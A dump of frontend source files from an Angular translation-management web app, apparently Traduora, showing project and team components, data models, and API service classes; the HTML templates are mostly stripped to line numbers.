17 | {{ project.localesCount }} 18 | {project.localesCount, plural, =0 {locales} =1 {locale} other {locales}} 19 |

20 |
21 |
22 |
23 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/project-card/project-card.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, Input } from '@angular/core'; 2 | import { Project } from '../../models/project'; 3 | 4 | @Component({ 5 | selector: 'app-project-card', 6 | templateUrl: './project-card.component.html', 7 | styleUrls: ['./project-card.component.css'], 8 | }) 9 | export class ProjectCardComponent { 10 | @Input() 11 | project: Project; 12 | } 13 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/project-container/project-container.component.css: -------------------------------------------------------------------------------- 1 | .nav-link:hover:not(.disabled):not(.active) { 2 | /* color: #00000080; */ 3 | background-color: #454a50; 4 | transition: background-color 150ms ease; 5 | } 6 | 7 | .nav-link.disabled:hover { 8 | background-color: #454a50; 9 | transition: background-color 150ms ease; 10 | } 11 | 12 | .nav-link.active { 13 | background-color: #3b84f8; 14 | transition: background-color 150ms ease; 15 | color: white !important; 16 | } 17 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/project-list/project-list.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/project-list/project-list.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/project-list/project-list.component.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |

Projects

4 | 5 | 6 |
7 |
8 | info 9 |
10 |

Welcome!

11 |

You haven't created any projects yet. Add a new project to get started!

12 | 13 |
14 |
15 |
16 |
17 | 18 |
19 |
20 |
21 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/project-list/project-list.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, OnInit } from '@angular/core'; 2 | import { Select, Store } from '@ngxs/store'; 3 | import { Observable } from 'rxjs'; 4 | import { Project } from '../../models/project'; 5 | import { GetProjects, ProjectsState } from '../../stores/projects.state'; 6 | 7 | @Component({ 8 | selector: 'app-project-list', 9 | templateUrl: './project-list.component.html', 10 | styleUrls: ['./project-list.component.css'], 11 | }) 12 | export class ProjectListComponent implements OnInit { 13 | @Select(ProjectsState.projects) 14 | projects$: Observable; 15 | 16 | @Select(ProjectsState.isLoading) 17 | isLoading$: Observable; 18 | 19 | constructor(private store: Store) {} 20 | 21 | ngOnInit() { 22 | this.store.dispatch(new GetProjects()); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/project-locales/project-locales.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/project-locales/project-locales.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/project-settings/project-settings.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/project-settings/project-settings.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/team-invite/team-invite.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/team-invite/team-invite.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/team-invite/team-invite.component.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |
5 |

6 | {{ invite.email }} 7 |

8 | Invited 9 |
10 | 11 | 12 |
13 | 16 |
17 | 20 |
21 |
22 |
23 | 24 | {{ invite.role | titlecase }} 25 | 26 | 27 | 30 |
31 |
32 |
33 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/team-invite/team-invite.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, EventEmitter, Input, Output } from '@angular/core'; 2 | import { ProjectRole } from '../../models/project-role'; 3 | import { ProjectInvite } from '../../models/project-invite'; 4 | 5 | @Component({ 6 | selector: 'app-team-invite', 7 | templateUrl: './team-invite.component.html', 8 | styleUrls: ['./team-invite.component.css'], 9 | }) 10 | export class TeamInviteComponent { 11 | @Input() 12 | invite: ProjectInvite; 13 | 14 | @Input() 15 | canEdit = false; 16 | 17 | @Input() 18 | canDelete = false; 19 | 20 | @Output() 21 | edit = new EventEmitter(); 22 | 23 | @Output() 24 | remove = new EventEmitter(); 25 | 26 | projectRoles = [ProjectRole.Admin, ProjectRole.Editor, ProjectRole.Viewer]; 27 | 28 | withRole(invite: ProjectInvite, role: ProjectRole): ProjectInvite { 29 | return { ...invite, role: role }; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/team-member/team-member.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/team-member/team-member.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/team-member/team-member.component.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |
5 | account_circle 6 |

7 | {{ user.name }} {{ user.email }} 8 |

9 |
10 | 11 | 12 |
13 | 16 |
17 | 18 |
19 |
20 |
21 | 22 | {{ user.role | titlecase }} 23 | 24 | 25 | 28 |
29 |
30 |
31 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/team-member/team-member.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, EventEmitter, Input, Output } from '@angular/core'; 2 | import { ProjectRole } from '../../models/project-role'; 3 | import { ProjectUser } from '../../models/project-user'; 4 | 5 | @Component({ 6 | selector: 'app-team-member', 7 | templateUrl: './team-member.component.html', 8 | styleUrls: ['./team-member.component.css'], 9 | }) 10 | export class TeamMemberComponent { 11 | @Input() 12 | user: ProjectUser; 13 | 14 | @Input() 15 | canEdit = false; 16 | 17 | @Input() 18 | canDelete = false; 19 | 20 | @Output() 21 | edit = new EventEmitter(); 22 | 23 | @Output() 24 | remove = new EventEmitter(); 25 | 26 | projectRoles = [ProjectRole.Admin, ProjectRole.Editor, ProjectRole.Viewer]; 27 | 28 | withRole(user: ProjectUser, role: ProjectRole): ProjectUser { 29 | user.role = role; 30 | return user; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/team-overview/team-overview.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/projects/components/team-overview/team-overview.component.css -------------------------------------------------------------------------------- /webapp/src/app/projects/components/team-overview/team-overview.component.html: -------------------------------------------------------------------------------- 1 | 2 |
3 |
4 |
5 |
Project Team
6 | 7 |
8 |
9 | 16 |
17 |
18 |
19 | 26 |
27 |
28 |
29 |
30 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/terms-list/terms-list.component.css: -------------------------------------------------------------------------------- 1 | .filter-container { 2 | display: flex; 3 | align-items: center; 4 | justify-content: space-between; 5 | gap: 1rem; 6 | padding: 1rem; 7 | } 8 | 9 | .label-filter { 10 | display: flex; 11 | flex-direction: column; 12 | gap: 0.5rem; 13 | } 14 | 15 | .label-filter__select { 16 | position: relative; 17 | } 18 | 19 | select { 20 | appearance: none; 21 | -webkit-appearance: none; 22 | width: 100%; 23 | font-size: 1.15rem; 24 | padding: 0.3em 6em 0.3em 1em; 25 | height: calc(1.5em + 0.5rem + 2px); 26 | } 27 | 28 | .label-filter__select::before, 29 | .label-filter__select::after { 30 | --size: 0.3rem; 31 | content: ''; 32 | position: absolute; 33 | right: 1rem; 34 | pointer-events: none; 35 | } 36 | 37 | .label-filter__select::before { 38 | border-left: var(--size) solid transparent; 39 | border-right: var(--size) solid transparent; 40 | border-bottom: var(--size) solid black; 41 | top: 40%; 42 | } 43 | 44 | .label-filter__select::after { 45 | border-left: var(--size) solid transparent; 46 | border-right: var(--size) solid transparent; 47 | border-top: var(--size) solid black; 48 | top: 55%; 49 | } 50 | -------------------------------------------------------------------------------- /webapp/src/app/projects/components/translations-list/translations-list.component.css: -------------------------------------------------------------------------------- 1 | .dropdown-toggle::after { 2 | display: none; 3 | } 4 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/export.ts: -------------------------------------------------------------------------------- 1 | import { IMPORT_FORMATS } from './import'; 2 | 3 | export interface ExportFormat { 4 | displayName: string; 5 | code: string; 6 | extension: string; 7 | } 8 | 9 | // Currently on-par with import formats 10 | export const EXPORT_FORMATS: ExportFormat[] = IMPORT_FORMATS; 11 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/import.ts: -------------------------------------------------------------------------------- 1 | export interface ImportFormat { 2 | displayName: string; 3 | code: string; 4 | extension: string; 5 | } 6 | 7 | export const IMPORT_FORMATS: ImportFormat[] = [ 8 | { displayName: 'Android Resources (XML)', extension: 'xml', code: 'androidxml' }, 9 | { displayName: 'CSV', extension: 'csv', code: 'csv' }, 10 | { displayName: 'XLIFF 1.2', extension: 'xliff', code: 'xliff12' }, 11 | { displayName: 'JSON Flat', extension: 'json', code: 'jsonflat' }, 12 | { displayName: 'JSON', extension: 'json', code: 'jsonnested' }, 13 | { displayName: 'YAML Flat', extension: 'yaml', code: 'yamlflat' }, 14 | { displayName: 'YAML', extension: 'yaml', code: 'yamlnested' }, 15 | { displayName: 'Java Properties', extension: 'properties', code: 'properties' }, 16 | { displayName: 'Gettext (po)', extension: 'po', code: 'po' }, 17 | { displayName: 'Strings', extension: 'strings', code: 'strings' }, 18 | { displayName: 'PHP', extension: 'php', code: 'php' }, 19 | { displayName: 'Resource RESX', extension: 'resx', code: 'resx' }, 20 | ]; 21 | 22 | export interface ImportResult { 23 | terms: { 24 | added: number; 25 | skipped: number; 26 | }; 27 | translations: { 28 | upserted: number; 29 | }; 30 | } 31 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/label.ts: -------------------------------------------------------------------------------- 1 | export class Label { 2 | id: string; 3 | value: string; 4 | color: string; 5 | } 6 | 7 | export interface LabelColor { 8 | hex: string; 9 | displayName: string; 10 | textMode: string; 11 | } 12 | 13 | export const TAG_COLORS: string[] = [ 14 | '#304D6D', 15 | '#A7CCED', 16 | '#008C45', 17 | '#63ADF2', 18 | '#82A0BC', 19 | '#D81159', 20 | '#FCCA46', 21 | '#4AAC5F', 22 | '#404E7C', 23 | '#7D1128', 24 | '#C41E3D', 25 | '#ED254E', 26 | '#FFD275', 27 | '#3AB795', 28 | '#F2CC46', 29 | '#F58549', 30 | '#FF5E5B', 31 | '#EF798A', 32 | '#F7A9A8', 33 | '#36413E', 34 | '#87BCDE', 35 | '#6B8F71', 36 | '#F7C1BB', 37 | '#EC4067', 38 | ]; 39 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/locale.ts: -------------------------------------------------------------------------------- 1 | export interface Locale { 2 | code: string; 3 | region: string; 4 | language: string; 5 | } 6 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/plan.ts: -------------------------------------------------------------------------------- 1 | export interface Plan { 2 | code: string; 3 | name: string; 4 | maxStrings: string; 5 | } 6 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/project-client.ts: -------------------------------------------------------------------------------- 1 | import { ProjectRole } from './project-role'; 2 | 3 | export class ProjectClient { 4 | id: string; 5 | name: string; 6 | role: ProjectRole; 7 | secret?: string; 8 | } 9 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/project-invite.ts: -------------------------------------------------------------------------------- 1 | import { ProjectRole } from './project-role'; 2 | 3 | export class ProjectInvite { 4 | id: string; 5 | email: string; 6 | role: ProjectRole; 7 | } 8 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/project-locale.ts: -------------------------------------------------------------------------------- 1 | import { Locale } from './locale'; 2 | 3 | export interface ProjectLocale { 4 | id: string; 5 | locale: Locale; 6 | } 7 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/project-role.ts: -------------------------------------------------------------------------------- 1 | export enum ProjectRole { 2 | Admin = 'admin', 3 | Editor = 'editor', 4 | Viewer = 'viewer', 5 | } 6 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/project-stats.ts: -------------------------------------------------------------------------------- 1 | export interface ProjectStats { 2 | projectStats: { 3 | progress: number; 4 | translated: number; 5 | total: number; 6 | terms: number; 7 | locales: number; 8 | }; 9 | localeStats: { 10 | [localeCode: string]: ProjectLocaleStats; 11 | }; 12 | } 13 | export interface ProjectLocaleStats { 14 | progress: number; 15 | translated: number; 16 | total: number; 17 | } 18 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/project-user.ts: -------------------------------------------------------------------------------- 1 | import { ProjectRole } from './project-role'; 2 | 3 | export class ProjectUser { 4 | userId: string; 5 | name: string; 6 | email: string; 7 | role: ProjectRole; 8 | isSelf = false; 9 | } 10 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/project.ts: -------------------------------------------------------------------------------- 1 | import { Plan } from './plan'; 2 | 3 | export interface Project { 4 | id: string; 5 | name: string; 6 | description?: string; 7 | role: string; 8 | termsCount: number; 9 | localesCount: number; 10 | plan?: Plan; 11 | } 12 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/term.ts: -------------------------------------------------------------------------------- 1 | import { Label } from './label'; 2 | 3 | export interface Term { 4 | id: string; 5 | value: string; 6 | context: string | null; 7 | labels: Label[]; 8 | } 9 | -------------------------------------------------------------------------------- /webapp/src/app/projects/models/translation.ts: -------------------------------------------------------------------------------- 1 | import { Label } from './label'; 2 | 3 | export interface Translation { 4 | termId: string; 5 | value: string; 6 | labels: Label[]; 7 | } 8 | -------------------------------------------------------------------------------- /webapp/src/app/projects/services/export.service.ts: -------------------------------------------------------------------------------- 1 | import { HttpClient } from '@angular/common/http'; 2 | import { Injectable } from '@angular/core'; 3 | import { saveAs } from 'file-saver'; 4 | import { Observable } from 'rxjs'; 5 | import { tap } from 'rxjs/operators'; 6 | import { environment } from '../../../environments/environment'; 7 | import { ExportFormat } from '../models/export'; 8 | 9 | @Injectable({ 10 | providedIn: 'root', 11 | }) 12 | export class ExportService { 13 | private endpoint = environment.apiEndpoint; 14 | 15 | constructor(private http: HttpClient) {} 16 | 17 | export(projectId: string, localeCode: string, format: string, untranslated: boolean, fallbackLocale?: string): Observable { 18 | const url = new URL(`${this.endpoint}/projects/${projectId}/exports?locale=${localeCode}&format=${format}&untranslated=${untranslated}`); 19 | 20 | if (fallbackLocale) { 21 | url.searchParams.append('fallbackLocale', fallbackLocale); 22 | } 23 | 24 | return this.http.get(url.toString(), { 25 | responseType: 'blob', 26 | }); 27 | } 28 | 29 | exportAndDownload( 30 | projectId: string, 31 | localeCode: string, 32 | format: ExportFormat, 33 | untranslated: boolean, 34 | fallbackLocaleCode?: string, 35 | ): Observable { 36 | return this.export(projectId, localeCode, format.code, untranslated, fallbackLocaleCode).pipe( 37 | tap(data => saveAs(data, `${localeCode}.${format.extension}`)), 38 | ); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /webapp/src/app/projects/services/import.service.ts: -------------------------------------------------------------------------------- 1 | import { HttpClient } from '@angular/common/http'; 2 | import { Injectable } from '@angular/core'; 3 | import { Observable } from 'rxjs'; 4 | import { environment } from '../../../environments/environment'; 5 | import { Payload } from '../../shared/models/http'; 6 | import { ImportFormat, ImportResult } from '../models/import'; 7 | import { Locale } from '../models/locale'; 8 | 9 | @Injectable({ 10 | providedIn: 'root', 11 | }) 12 | export class ImportService { 13 | private endpoint = environment.apiEndpoint; 14 | 15 | constructor(private http: HttpClient) {} 16 | 17 | import(projectId: string, locale: Locale, format: ImportFormat, file: File): Observable> { 18 | const form = new FormData(); 19 | form.append('file', file); 20 | return this.http.post>(`${this.endpoint}/projects/${projectId}/imports?format=${format.code}&locale=${locale.code}`, form); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /webapp/src/app/projects/services/preferences.service.ts: -------------------------------------------------------------------------------- 1 | import { Injectable } from '@angular/core'; 2 | 3 | @Injectable({ 4 | providedIn: 'root', 5 | }) 6 | export class PreferencesService { 7 | forProject = (projectId: string) => ({ 8 | referenceLanguage: { 9 | get: () => window.localStorage.getItem(`${projectId}.preferredReferenceLanguageCode`), 10 | set: localeCode => window.localStorage.setItem(`${projectId}.preferredReferenceLanguageCode`, localeCode), 11 | remove: () => window.localStorage.removeItem(`${projectId}.preferredReferenceLanguageCode`), 12 | }, 13 | }); 14 | } 15 | -------------------------------------------------------------------------------- /webapp/src/app/projects/services/project-client.service.ts: -------------------------------------------------------------------------------- 1 | import { HttpClient } from '@angular/common/http'; 2 | import { Injectable } from '@angular/core'; 3 | import { Observable } from 'rxjs'; 4 | import { map } from 'rxjs/operators'; 5 | import { Payload } from 'src/app/shared/models/http'; 6 | import { environment } from '../../../environments/environment'; 7 | import { ProjectClient } from '../models/project-client'; 8 | import { ProjectRole } from '../models/project-role'; 9 | 10 | @Injectable({ 11 | providedIn: 'root', 12 | }) 13 | export class ProjectClientService { 14 | private endpoint = environment.apiEndpoint; 15 | 16 | constructor(private http: HttpClient) {} 17 | 18 | find(projectId: string): Observable { 19 | return this.http.get>(`${this.endpoint}/projects/${projectId}/clients`).pipe(map(res => res.data)); 20 | } 21 | 22 | create(projectId: string, name: string, role: ProjectRole): Observable { 23 | return this.http.post>(`${this.endpoint}/projects/${projectId}/clients`, { name, role }).pipe(map(res => res.data)); 24 | } 25 | 26 | update(projectId: string, userId: string, role: ProjectRole): Observable { 27 | return this.http.patch>(`${this.endpoint}/projects/${projectId}/clients/${userId}`, { role }).pipe(map(res => res.data)); 28 | } 29 | 30 | remove(projectId: string, userId: string): Observable { 31 | return this.http.delete(`${this.endpoint}/projects/${projectId}/clients/${userId}`); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /webapp/src/app/projects/services/project-invite.service.ts: -------------------------------------------------------------------------------- 1 | import { HttpClient } from '@angular/common/http'; 2 | import { Injectable } from '@angular/core'; 3 | import { Observable } from 'rxjs'; 4 | import { map } from 'rxjs/operators'; 5 | import { Payload } from 'src/app/shared/models/http'; 6 | import { environment } from '../../../environments/environment'; 7 | import { ProjectRole } from '../models/project-role'; 8 | import { ProjectInvite } from '../models/project-invite'; 9 | 10 | @Injectable({ 11 | providedIn: 'root', 12 | }) 13 | export class ProjectInviteService { 14 | private endpoint = environment.apiEndpoint; 15 | 16 | constructor(private http: HttpClient) {} 17 | 18 | find(projectId: string): Observable { 19 | return this.http.get>(`${this.endpoint}/projects/${projectId}/invites`).pipe(map(res => res.data)); 20 | } 21 | 22 | create(projectId: string, email: string, role: ProjectRole): Observable { 23 | return this.http.post>(`${this.endpoint}/projects/${projectId}/invites`, { email, role }).pipe(map(res => res.data)); 24 | } 25 | 26 | update(projectId: string, inviteId: string, role: ProjectRole): Observable { 27 | return this.http.patch>(`${this.endpoint}/projects/${projectId}/invites/${inviteId}`, { role }).pipe(map(res => res.data)); 28 | } 29 | 30 | remove(projectId: string, inviteId: string): Observable { 31 | return this.http.delete(`${this.endpoint}/projects/${projectId}/invites/${inviteId}`); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /webapp/src/app/projects/services/project-stats.service.ts: -------------------------------------------------------------------------------- 1 | import { HttpClient } from '@angular/common/http'; 2 | import { Injectable } from '@angular/core'; 3 | import { Observable } from 'rxjs'; 4 | import { map } from 'rxjs/operators'; 5 | import { Payload } from 'src/app/shared/models/http'; 6 | import { environment } from '../../../environments/environment'; 7 | import { ProjectStats } from '../models/project-stats'; 8 | 9 | @Injectable({ 10 | providedIn: 'root', 11 | }) 12 | export class ProjectStatsService { 13 | private endpoint = environment.apiEndpoint; 14 | 15 | constructor(private http: HttpClient) {} 16 | 17 | getStats(id: string): Observable { 18 | return this.http.get>(`${this.endpoint}/projects/${id}/stats`).pipe(map(res => res.data)); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /webapp/src/app/projects/services/project-user.service.ts: -------------------------------------------------------------------------------- 1 | import { HttpClient } from '@angular/common/http'; 2 | import { Injectable } from '@angular/core'; 3 | import { Observable } from 'rxjs'; 4 | import { map } from 'rxjs/operators'; 5 | import { Payload } from 'src/app/shared/models/http'; 6 | import { environment } from '../../../environments/environment'; 7 | import { ProjectRole } from '../models/project-role'; 8 | import { ProjectUser } from '../models/project-user'; 9 | 10 | @Injectable({ 11 | providedIn: 'root', 12 | }) 13 | export class ProjectUserService { 14 | private endpoint = environment.apiEndpoint; 15 | 16 | constructor(private http: HttpClient) {} 17 | 18 | find(projectId: string): Observable { 19 | return this.http.get>(`${this.endpoint}/projects/${projectId}/users`).pipe(map(res => res.data)); 20 | } 21 | 22 | create(projectId: string, email: string, role: ProjectRole): Observable { 23 | return this.http.post>(`${this.endpoint}/projects/${projectId}/users`, { email, role }).pipe(map(res => res.data)); 24 | } 25 | 26 | update(projectId: string, userId: string, role: ProjectRole): Observable { 27 | return this.http.patch>(`${this.endpoint}/projects/${projectId}/users/${userId}`, { role }).pipe(map(res => res.data)); 28 | } 29 | 30 | remove(projectId: string, userId: string): Observable { 31 | return this.http.delete(`${this.endpoint}/projects/${projectId}/users/${userId}`); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/app-bar/app-bar.component.css: -------------------------------------------------------------------------------- 1 | .shadow-sm { 2 | box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.125) !important; 3 | } 4 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/app-bar/app-bar.component.html: -------------------------------------------------------------------------------- 1 | 21 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/app-bar/app-bar.component.ts: -------------------------------------------------------------------------------- 1 | import { Component } from '@angular/core'; 2 | import { Select, Store } from '@ngxs/store'; 3 | import { Observable } from 'rxjs'; 4 | import { User } from '../../../auth/models/user'; 5 | import { AuthState, Logout } from '../../../auth/stores/auth.state'; 6 | 7 | @Component({ 8 | selector: 'app-bar', 9 | templateUrl: './app-bar.component.html', 10 | styleUrls: ['./app-bar.component.css'], 11 | }) 12 | export class AppBarComponent { 13 | @Select(AuthState.user) 14 | user$: Observable; 15 | 16 | constructor(private store: Store) {} 17 | 18 | logout() { 19 | this.store.dispatch(new Logout()); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/country-flag/country-flag.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/shared/components/country-flag/country-flag.component.css -------------------------------------------------------------------------------- /webapp/src/app/shared/components/country-flag/country-flag.component.html: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/country-flag/country-flag.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, Input } from '@angular/core'; 2 | import { Locale } from '../../../projects/models/locale'; 3 | 4 | @Component({ 5 | selector: 'app-country-flag', 6 | templateUrl: './country-flag.component.html', 7 | styleUrls: ['./country-flag.component.css'], 8 | }) 9 | export class CountryFlagComponent { 10 | @Input() 11 | locale: Locale; 12 | 13 | localeIconCode(code: string): string | undefined { 14 | const match = code.match('.*_([A-Z]{2})$'); 15 | if (match) { 16 | return match[1].toLowerCase(); 17 | } 18 | // Default codes 19 | switch (code) { 20 | case 'en': 21 | return 'gb'; 22 | case 'de': 23 | return 'de'; 24 | case 'es': 25 | return 'es'; 26 | case 'fr': 27 | return 'fr'; 28 | case 'nl': 29 | return 'nl'; 30 | } 31 | return undefined; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/editable-text/editable-text.component.html: -------------------------------------------------------------------------------- 1 |
2 | 19 |
20 | 29 | 32 |
33 |

34 | {{ current.length | number }} 35 |

36 |
37 |
38 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/error-message/error-message.component.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/webapp/src/app/shared/components/error-message/error-message.component.css -------------------------------------------------------------------------------- /webapp/src/app/shared/components/error-message/error-message.component.html: -------------------------------------------------------------------------------- 1 |
2 | warning 3 |

{{ message }}

4 |
5 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/error-message/error-message.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, Input } from '@angular/core'; 2 | 3 | @Component({ 4 | selector: 'app-error-message', 5 | templateUrl: './error-message.component.html', 6 | styleUrls: ['./error-message.component.css'], 7 | }) 8 | export class ErrorMessageComponent { 9 | @Input() 10 | message: string; 11 | } 12 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/label/label.component.html: -------------------------------------------------------------------------------- 1 | 2 |
3 |
4 | label 5 |

{{ label.value }}

6 | 14 |
15 |
16 |
17 | -------------------------------------------------------------------------------- /webapp/src/app/shared/components/label/label.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, EventEmitter, Input, Output } from '@angular/core'; 2 | import { Label } from '../../../projects/models/label'; 3 | import { hexToHSL } from '../../util/color-utils'; 4 | 5 | @Component({ 6 | selector: 'app-label', 7 | templateUrl: './label.component.html', 8 | styleUrls: ['./label.component.css'], 9 | }) 10 | export class LabelComponent { 11 | @Input() 12 | label: Label; 13 | 14 | @Input() 15 | removable = false; 16 | 17 | private darkText = '#202020'; 18 | private lightText = '#f0f0f0'; 19 | 20 | get textColor(): string { 21 | if (this.label) { 22 | const hsl = hexToHSL(this.label.color); 23 | return hsl.luminance >= 50 ? this.darkText : this.lightText; 24 | } 25 | return this.lightText; 26 | } 27 | 28 | @Output() 29 | save = new EventEmitter